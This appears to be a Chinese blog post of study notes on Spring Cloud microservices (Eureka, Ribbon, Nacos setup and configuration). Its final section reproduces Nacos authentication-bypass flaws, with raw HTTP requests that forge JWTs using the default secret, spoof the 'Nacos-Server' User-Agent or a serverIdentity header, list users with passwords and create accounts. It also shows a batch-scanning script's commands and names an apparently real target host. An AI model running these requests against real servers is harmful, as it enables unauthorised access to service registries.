分布式微服务技术栈-SpringCloud<Eureka,Ribbon,nacos>

在这里插入图片描述

微服务技术栈

  • 一、微服务 介绍了解
    • 1 架构结构案例
      • 与 springboot 兼容关系
      • 拆分案例
        • 拆分
        • 服务拆分-服务远程调用
    • 2 eureka注册中心
      • Eureka-提供者与消费者
      • Eureka-eureka原理分析
      • Eureka-搭建eureka服务
      • Eureka-服务注册
      • Eureka-服务发现
    • 3 Ribbon组件 负载均衡
      • Ribbon-负载均衡原理
      • Ribbon-负载均衡策略
      • Ribbon-饥饿加载
    • 4 nacos 阿里注册中心
      • Nacos-快速入门
      • Nacos-服务多级存储模型
      • Nacos-NacosRule负载均衡
      • Nacos-服务实例的权重设置
      • Nacos-环境隔离
      • Nacos和Eureka的对比
      • Nacos实现配置管理
      • Nacos配置管理-微服务配置拉取
      • Nacos配置管理-配置热更新
      • Nacos配置管理-多环境配置共享
      • Nacos配置管理-nacos集群搭建
  • 安装Nacos
  • Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos
      • 准备工作
      • 运行系统
  • Nacos 漏洞复现
    • 介绍
    • 未授权添加用户

一、微服务 介绍了解

分布式架构的一种
把服务进行 拆分
springcloud 解决了 服务拆分过程中的 治理问题
与单体应用 进行区分
(单体架构 把业务所有功能集中开发,打成一个包部署)

在这里插入图片描述

每个模块独立开发和部署(服务集群)

在这里插入图片描述

在这里插入图片描述

服务之间互相调用
在这里插入图片描述
出现分布式技术
Webservice
ESB
Hession
Dubbo

异步通信 消息队列(秒杀)
敏捷开发思想
在这里插入图片描述
高内聚低耦合

微服务 + 持续集成
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1 架构结构案例

微服务方案 技术框架落地
eg springcloud + 阿里dubbo

2012 dubbo 开源 (“半吊子”微服务)

2015-2017 springcloud(整合)
封装了Feign客户端 发http 请求 Restful接口
Spring Cloud Bus 自动通知 热更新

实现了同样的 接口规范
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
springcloud 模块

  • 统一配置管理
  • 服务注册发现
  • 请求路由
  • 服务远程调用
  • 负载均衡
  • 断路
    在这里插入图片描述
    在这里插入图片描述
    基于 springboot 自动装配

与 springboot 兼容关系

在这里插入图片描述
Hoxton SR10 + boot2.3.x

拆分案例

拆分

功能模块进行拆分
单一职责
即 不同微服务 不重复开发相同业务
数据独立
不要访问其他微服务数据库
业务接口
每个模块将自己的业务暴露为接口,供其他服务调用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
且没法关联查询
在这里插入图片描述
将工程文件夹放到 IDE 的 工作空间
在这里插入图片描述在这里插入图片描述
可以看到项目所有的微服务
在这里插入图片描述

项目结构
父工程(主要定义了依赖版本)

在这里插入图片描述在这里插入图片描述
数据分离
在这里插入图片描述
业务逻辑
在这里插入图片描述
在这里插入图片描述
返回订单对象
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
符合 微服务 拆分 的单一职责
在这里插入图片描述

服务拆分-服务远程调用

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
spring的 HTTP 请求工具
用Bean的方式 把RestTemplate 注册 为spring容器 的 对象
就可以在任何地方 以 注入的方式 来用
在这里插入图片描述
Bean的注入 只能放在 配置类里面
带有 main的 启动类 本身也是配置类

在这创建 RestTemplate对象
在这里插入图片描述
跟入 orderservice 在这里插入图片描述
先把 resttemplate注入进spring 容器里来
在这里插入图片描述
http请求 返回 json 但在这里需要一个user对象
resttemplate 会 给让你输入一个 返回对象
在这里插入图片描述

2 eureka注册中心

Eureka-提供者与消费者

在这里插入图片描述
在这里插入图片描述
概念 是 业务中谁对谁而言
既可以是 提供 也可以是 消费者
在这里插入图片描述

Eureka-eureka原理分析

在这里插入图片描述
ip 端口 是 硬编码在 代码中的
不方便 环境部署
集群 不好布置
在这里插入图片描述

注册中心 (记录管理微服务)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Eureka-搭建eureka服务

在这里插入图片描述
在这里插入图片描述
starter -----spring boot里面的 自动装配
注解是 eureka server 自动装配的 开关

创建 maven模块
在这里插入图片描述
在这里插入图片描述
父工程pom 已经把 版本依赖做好了
在这里插入图片描述
所有组件版本信息 点进去看
在这里插入图片描述
加个 springboot注解
psvm

在这里插入图片描述
加上 eureka 自动装配的 开关注解(启动类 上 做注解)

新建 配置文件

eureka 集群 所以 自己也将自己的 微服务 注册
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
注册到eureka 的 实例

windows 显示的 是 计算机名 本来是 ip
在这里插入图片描述

Eureka-服务注册

在这里插入图片描述
在这里插入图片描述
编辑eureka地址信息
yml文件 不许 出现两个 根名称
在这里插入图片描述
在这里插入图片描述
启动两个实例
在这里插入图片描述

在这里插入图片描述
-D 参数
yml 文件 内的 server.port
在这里插入图片描述
实例列表
在这里插入图片描述
在这里插入图片描述

Eureka-服务发现

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查看 order services 是 负载均衡 走的 哪个
在这里插入图片描述
在这里插入图片描述

3 Ribbon组件 负载均衡

Ribbon-负载均衡原理

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
LoadBalancer 标记 拦截 实现 http 请求 接口
在这里插入图片描述
在这里插入图片描述
接口定义的 方法名字 intercept
在这里插入图片描述
同样实现了intercept 方法
下断点
在这里插入图片描述
取得主机名
去 做 服务拉取

在这里插入图片描述
Ribbon load balamcer对象
在这里插入图片描述
步入 这个 execute 方法
在这里插入图片描述在这里插入图片描述
把这个 service id 交给 getloadBanlancer处理
得到 loadbalancer 对象

动态服务列表 负载均衡器
在这里插入图片描述
在这个对象里面
在这里插入图片描述
就拉取到了 服务列表

整个步骤 根据 服务名称 拉取 服务列表
在这里插入图片描述
getserver 开始负载均衡
在这里插入图片描述
在这里插入图片描述
进入 getserver 方法
选择 server 步入
在这里插入图片描述
找一个 super 父亲的 选择

在这里插入图片描述
在这里插入图片描述
走到了 rule 的 选择

要有一个 规则 从 动态 server 里 选
在这里插入图片描述
这个 IRule 是一个 接口I
规则接口 那就会有实现类

IDEA Ctrl H 查看实现类
在这里插入图片描述
比如
轮询负载均衡
随机

默认规则 ZoneAvoidance
在这里插入图片描述
返回来了 选择的 8081
在这里插入图片描述

Ribbon-负载均衡策略

IRule 接口 继承关系 图

在这里插入图片描述
ZoneAvoidance 这个 它爷爷 也是 轮询

在这里插入图片描述
在 服务 注册 时 可以 设置 zone的 值
(杭州,上海)

配置类内 修改 规则 用 Irule 的 bean 作为 一个 对象 注入到 spring 容器

可以 实现 Irule 各种类型
在这里插入图片描述
在这里插入图片描述
全局的

在这里插入图片描述
针对 某个 微服务的 配置
在这里插入图片描述

Ribbon-饥饿加载

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
创建 load balance Client 还要做 服务拉取
时间较长

在这里插入图片描述
拉取 时 创建了 动态 serverlist load balancer 等 耗费时间 - 懒加载
第二次 server list 会 缓存到内存中
在这里插入图片描述
在这里插入图片描述
与 spring boot 一样

在这里插入图片描述
随着 tomcat 启动 就完成了

在这里插入图片描述

springmvc 容器 的 初始化
在这里插入图片描述
在这里插入图片描述

4 nacos 阿里注册中心

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
服务注册 与发现
分布式 配置
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

8848 默认端口

在这里插入图片描述
在这里插入图片描述

-m 模式 单启动
在这里插入图片描述

在这里插入图片描述

Nacos-快速入门

在这里插入图片描述
通用 在这里 定义了 接口规范

定义了服务发现 与 服务注册
在这里插入图片描述
Eureka 和 nacos 都要遵循 这些接口

所以 服务者 消费者 代码 不用变
需要 更改 依赖 和 地址

在这里插入图片描述在这里插入图片描述在这里插入图片描述

添加 父管理依赖
添加 服务注册 启动器依赖

在这里插入图片描述在这里插入图片描述在这里插入图片描述

添加yml 地址
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

Nacos-服务多级存储模型

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Nacos-NacosRule负载均衡

在这里插入图片描述在这里插入图片描述
nacos 地区 随机 选择 服务
在这里插入图片描述
如果 本地 没有 服务 访问 外地 同服务 同时 警告
在这里插入图片描述

Nacos-服务实例的权重设置

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
调整成0 时 权重 , 不会被 访问

平滑升级业务
在这里插入图片描述

Nacos-环境隔离

注册中心 - 数据中心 对 服务 进行 隔离
命名空间 - group 属性
在这里插入图片描述

服务(集群)–下一级–》 实例

对实例的划分 是 对业务 进行的 划分 (地域)

命名空间 是 对于 开发生产 测试 环境 的划分
(比如 把 业务相似度 比较高的 服务 放在 一个 分组)
在这里插入图片描述

订单—支付 放一块
在这里插入图片描述
默认 public
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
添加 命名 空间的 ID
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Nacos和Eureka的对比

会在 动态服务 loadbalancer 里拉取 缓存 server 列表 周期30s
在这里插入图片描述

区别 在于 提供者的 健康检测
在这里插入图片描述

划分 提供者 为 临时 实例
和非临时实例
在这里插入图片描述
临时 实例 会 直接剔除
非临时实例 会 等待 康复
在这里插入图片描述
如果 提供者 挂掉了 nacos 主动 推送 变更 消息

在这里插入图片描述在这里插入图片描述在这里插入图片描述
临时实例  关掉服务 直接 剔除

在这里插入图片描述
在这里插入图片描述
非临时实例 不会被 剔除掉 等待 复活

在这里插入图片描述
nacos 强调 AP 数据的 可用性
CP 强调 可靠性 和 一致性
在这里插入图片描述
Nacos 配置管理 功能

Feign 声明式远程调用 比较 Resttemplate

Nacos实现配置管理

在这里插入图片描述
配置文件 - 关联服务重启 - (热更新 不用重启 就能 配置 生效)

配置管理服务 记录核心配置
在这里插入图片描述

读取配置 结合 本地配置

DataID 服务名称+ profile运行环境名 dev/test/prod.yaml

在这里插入图片描述
在这里插入图片描述

模版 类型
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

Nacos配置管理-微服务配置拉取

 ![在这里插入图片描述](https://img-blog.csdnimg.cn/e2f375f857d245388e8770ec78de4f03.png)

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
去掉重复配置

用 Value 注解 读取配置

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Nacos配置管理-配置热更新

在这里插入图片描述
属性刷新
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

配置 自动加载 注解
在这里插入图片描述
定义一个 成员变量
在这里插入图片描述
添加 data注解 getset 方法

用 component 把这个类变成 spring 容器的 一个 bean
在这里插入图片描述
在这里插入图片描述
注入进来 用getdateformat 获取
在这里插入图片描述

Nacos配置管理-多环境配置共享

开发生产测试 环境 配置值 一致
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
另起一个 spring 测试 微服务 环境
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
配置文件 的 优先级
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

以 userservice 为准

共享 与 有环境的 以 环境为准
在这里插入图片描述在这里插入图片描述

Nacos配置管理-nacos集群搭建

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

nginx 有 反向代理 和 负载均衡 的 功能

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
粘贴到 http 的 内部
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安装Nacos

输入命令:

wget https://github.com/alibaba/nacos/releases/download/1.2.0/nacos-server-1.2.0.tar.gz

在这里插入图片描述

https://github.com/alibaba/nacos/releases

在这里插入图片描述

 tar -zxvf nacos-server-1.4.1.tar.gz

在这里插入图片描述
修改配置文件,
支持mysql,修改nacos/conf/application.properties文件,
增加支持mysql数据源配置(目前只支持mysql),
添加mysql数据源的url、用户名和密码,

 vi conf/application.properties

在这里插入图片描述
在这里插入图片描述

 spring.datasource.platform=mysql### Count of DB:
db.num=1### Connect URL of DB:
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useUnicode=true&useSSL=false&serverTimezone=UTC
db.user.0=nacos
db.password.0=nacos

在这里插入图片描述
在这里插入图片描述将java安装包传到/home/java中

tar zxvf 压缩包名称

解压就安装完成了,之后我们要进行环境配置了

vi /etc/profile
 export JAVA_HOME=/home/java/jdk1.8.0_231export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarexport PATH=$PATH:$JAVA_HOME/bin

在这里插入图片描述在这里插入图片描述在这里插入图片描述

生效命令:

source /etc/profile

访问地址为:

http://127.0.0.1:8848/nacos 

启动服务
切换到bin目录,执行命令:sh startup.sh -m standalone
关闭服务
切换到bin目录,执行命令:sh shutdown.sh

注意:
此版本必须安装jdk1.8+版本,不然启动时会报错

默认没有开启用户名和密码登录

需要修改application.properties文件中的nacos.core.auth.enabled=true
才能开启用户名密码登录,

用户名/密码:nacos/nacos
Nacos 修改mysql中默认账号密码
数据库会有一个默认用户。
在这里插入图片描述

这时候默认的用户名是nacos nacos,这要是放到公网上肯定是不安全的,接下来告诉大家怎么修改。

我们新建一个springboot项目,加入一个依赖 spring-boot-starter-security ,只需要这一个就好了。

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId><version>2.1.4.RELEASE</version>
</dependency>

然后写个类执行以下 new BCryptPasswordEncoder().encode(“你的密码”)就会生成新的加密过的密码。

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;public class SetPassword {public static void main(String[] args) {System.out.println(new BCryptPasswordEncoder().encode("新密码"));}
}

接下来就是复制密码去数据库替换默认的密码。默认用户是nacos 也可以修改,那个是明文的可以直接改,但是如果要修改用户名的话,要修改roles表里用户。

 切换目录:cd /usr/local/nacos/bin
单机模式启动:sh startup.sh -m standalone

参考资料:
https://www.jianshu.com/p/55091f2ad6e1
https://blog.csdn.net/leaf_dai/article/details/103380851

Java快速开发框架_若依——Ruoyi-SpringCloud版本-3.下载源码并导入数据库 安装nacos

在这里插入图片描述

准备工作

 
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Redis >= 3.0
Maven >= 3.0
Node >= 10
nacos >= 1.1.0
sentinel >= 1.6.0

运行系统


#后端运行
1、前往Gitee下载页面(https://gitee.com/y_project/RuoYi-Cloud (opens new window))
下载解压到工作目录

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、导入到Eclipse,菜单 File -> Import

然后选择 Maven -> Existing Maven Projects,点击 Next> 按钮,
选择工作目录,然后点击 Finish 按钮,即可成功导入。

Eclipse会自动加载Maven依赖包,初次加载会比较慢(根据自身网络情况而定)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 3、创建数据库ry-cloud并导入数据脚本ry_2021xxxx.sql(必须),quartz.sql(可选)

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

 
4、创建数据库ry-config并导入数据脚本ry_config_2021xxxx.sql(必须)

在这里插入图片描述
在这里插入图片描述

https://nacos.io/zh-cn/docs/quick-start.html

在这里插入图片描述
在这里插入图片描述

https://github.com/alibaba/nacos/releases

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

 
5、配置nacos持久化,修改conf/application.properties文件,增加支持mysql数据源配置
 # db mysql
spring.datasource.platform=mysql
db.num=1
db.url.0=jdbc:mysql://localhost:3306/ry-config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true
db.user=root
db.password=password

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

启动命令(standalone代表着单机模式运行,非集群模式):cmd startup.cmd -m standalone

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

尽量 不要带中文  打jar包 报错

在这里插入图片描述

高并发  -----好多  连接
高可用 ----- 一个宕机 不影响其他
每个应用微服务 ----  开启多个(对应不同端口)

在这里插入图片描述

Nacos 漏洞复现

介绍

Nacos(全称为"Naming and Configuration Service")是一个开源的动态服务发现、配置和服务管理平台,由阿里巴巴集团开源。它可以帮助开发者更好地构建云原生应用和微服务架构。Nacos的主要功能和特点包括:1. 服务发现与注册:Nacos提供了高可用的服务注册和发现功能,允许开发者按需注册、发现和注销服务实例。它支持多种服务发现协议,如DNSHTTP和gRPC,使得服务之间的通信更加简单和可靠。2. 动态配置管理:Nacos允许开发者将配置信息集中管理,并支持动态刷新。通过Nacos,开发者可以轻松修改、发布和回滚配置,而无需重启应用程序或重新部署。3. 服务路由与负载均衡:Nacos提供了灵活的服务路由和负载均衡功能,能够根据不同的场景和策略自动进行请求转发和负载均衡。4. 集群和扩展性:Nacos支持横向扩展,可以构建高可用的集群部署。开发者可以根据应用程序的需求,灵活扩展Nacos实例数量,以提供更高的可用性和性能。5. 健康检查与故障转移:Nacos能够对注册的服务进行健康检查,并自动剔除不健康的实例。在实例出现故障或不可用时,Nacos还能够进行故障转移,保证服务的连续可用性。6. 社区支持和生态系统:Nacos拥有活跃的开发者社区和广泛的应用场景。除了核心功能之外,Nacos还提供了丰富的插件和扩展,以满足不同应用场景的需求。Nacos是一个开源项目,源代码托管在GitHub上,并采用Apache License 2.0开源许可证。虽然Nacos由阿里巴巴集团发起,但它是一个面向全球开发者社区的开源项目,并得到了全球开发者的参与和贡献。

未授权添加用户

https://mp.weixin.qq.com/s/iCMiFGQnsqqfvqhbGxZ8pQ


Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。
但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。影响版本: Nacos <= 2.0.0-ALPHA.1查看用户
访问路径,可以查看用户列表(包含密码)alibaba-nacos-v1-auth-bypass/nacos/v1/auth/users?pageNo=1&pageSize=100
User-Agent: Nacos-Server添加新用户
1、访问url2、请求改为post,把修改User-Agent头改为“Nacos-Server3、构造数据包添加一个admin用户,然后发送POST请求,返回为200,表示创建用户成功4、用新账户密码登录则登录成功漏洞修复
升级Nacos版本到最新版发送如下数据包成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 172.16.244.174:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Length: 34username=test111&password=test1111https://www.secpulse.com/archives/199642.htmlhttps://jwt.io/#debugger-io
https://www.beijing-time.org/shijianchuo/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbWluZzExMTExMSIsImV4cCI6IjE2OTE5NTE5ODEifQ.sYrKZFyrjGpw5IHiy4aA1SVlqPxpVEeHxXhTndTyWgUPOST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4username=najcos&password=nacjos方式二:默认未授权
发送如下数据包,成功创建用户POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=test02 SecretKey012345678901234567890123456789012345678901234567890123456789发送如下数据包成功创建用户
POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=test03方式四:默认头部
发送如下数据包,成功创建用户
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&password=test05GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 HTTP/1.1
Host: 172.25.0.249:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@amingpython3 Nacos_default.token.py -u [http://127.0.0.1:1111](http://127.0.0.1:1111/) 单个url测试python3 Nacos_default.token.py -a [http://127.0.0.1:1111](http://127.0.0.1:1111/) 添加用户m2orz/zzz321..python3 Nacos_default.token.py -f url.txt 批量检测payload1:[http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9)payload2:[http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9](http://xxx.com/nacos/v1/auth/users?accessToken=&pageNo=1&pageSize=9)扫描结束后会在当前目录生成存在漏洞url的vuln.txthttp://nacos.ts.taslyy.cn:3080/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9https://www.secpulse.com/archives/199642.htmlnacos nacos默认未授权
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test02&password=amingmm123123默认JWT-secret
nacos/conf/application.properties中设置nacos.core.auth.enabled=true开启权限认证POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA4NTg3NX0.WT8N_acMlow8KTHusMacfvr84W4osgSdtyHu9p49tvc HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
Content-Length: 31username=test03&password=amingmm123123默认头部POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.31.112:8848
Content-Type: application/x-www-form-urlencoded
serverIdentity: security
Content-Length: 31username=test05&passwordamingmm123123低版本(nacos<1.4.1)默认白名单UA
1.在nacos/conf/application.properties中设置
nacos.core.auth.enable.userAgentAuthWhite=true开启白名单UAhttps://www.box3.cn/tools/jwt.html
https://jwt.io/#debugger-ioPOST /nacos/v1/auth/users/login HTTP/1.1
Host: nacos.ts.taslyy.cn:3080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://nacos.ts.taslyy.cn:3080/nacos/index.html
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6NDY3ODk3MDQyM30.lnslDXAElX0J_STPpWmBOmiQaVcU3eK3F7McFehD_6Iusername=aminghack&password=yyds@aming

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/163829.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈压力测试的重要目标及意义

随着互联网应用的快速发展&#xff0c;软件系统的稳定性和性能成为了用户和企业关注的焦点。用户期望应用程序能够在高负载下依然保持稳定和高效。为了满足这一需求&#xff0c;压力测试成为了不可或缺的一环。本文将探讨压力测试的重要性以及如何进行压力测试。 一、压力测试的…

大数据中间件——Kafka

Kafka安装配置 首先我们把kafka的安装包上传到虚拟机中&#xff1a; 解压到对应的目录并修改对应的文件名&#xff1a; 首先我们来到kafka的config目录&#xff0c;我们第一个要修改的文件就是server.properties文件&#xff0c;修改内容如下&#xff1a; # Licensed to the …

分类预测 | MATLAB实现基于BiLSTM-AdaBoost双向长短期记忆网络结合AdaBoost多输入分类预测

分类预测 | MATLAB实现基于BiLSTM-AdaBoost双向长短期记忆网络结合AdaBoost多输入分类预测 目录 分类预测 | MATLAB实现基于BiLSTM-AdaBoost双向长短期记忆网络结合AdaBoost多输入分类预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 1.MATLAB实现基于BiLSTM-…

在中国,技术到底有多有用?

&#x1f64c;秋名山码民的主页 &#x1f602;oi退役选手&#xff0c;Java、大数据、单片机、IoT均有所涉猎&#xff0c;热爱技术&#xff0c;技术无罪 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; 获取源码&#xff0c;添加WX 目录 前言1.…

【四:Spring整合Junit】

目录 相同点不同点1、导入依赖增加2、编写的位置不同。。路径一定要与实现类一致 相同点 前面都一样和Spring整合mybatis&#xff08;基于注解形式&#xff09;一样Spring整合Mybatis 不同点 1、导入依赖增加 <!-- 单元测试 --><dependency><groupId>junit&…

MYSQL学习笔记2-mysql数据文件

1.mysql数据文件类型&#xff1f;5.7和8的一些区别 创建一个anadb的数据库&#xff1a;在mysql安装目录下data目录下会产生一个同名的文件夹 建表&#xff1a;图为mysql57的数据文件图&#xff0c;不同的引擎建表会产生不同后缀名的文件 &#xff0c;mysql5.5以上默认使用 inno…

【高等数学】导数与微分

文章目录 1、导数的概念1.1、引例1.1.1、变速直线运动瞬时速度1.1.2、曲线的切线 1.2、导数的定义1.3、证明常用导数1.4、导数的几何意义1.5、可导与连续的关系 2、函数的求导法则2.1、函数的和、差、积、商的求导法则2.2、反函数的求导法则2.3、复合函数的求导法则2.4、基本初…

【Java 进阶篇】JavaScript 表单验证详解

JavaScript 表单验证是网页开发中不可或缺的一部分。它允许您确保用户在提交表单数据之前输入了有效的信息。无论您是一个初学者还是一个有经验的开发人员&#xff0c;本文将为您详细介绍如何使用 JavaScript 来进行表单验证。我们将从基础知识开始&#xff0c;逐步深入&#x…

【网络】用代码讲解HTTP协议

http协议 前言正式开始HTTP协议URLURL格式中每个字段所代表的内容格式中每个字段的作用URL对于特殊符号的处理 HTTP格式快速构建http请求和响应的报文格式http requesthttp response 一些细节http demo web目录代码实现 HTTP请求方法表单GET和POST提交的区别其余方法 HTTP的状态…

通过Python行命令搭建HTTP服务器结合内网穿透实现外网访问

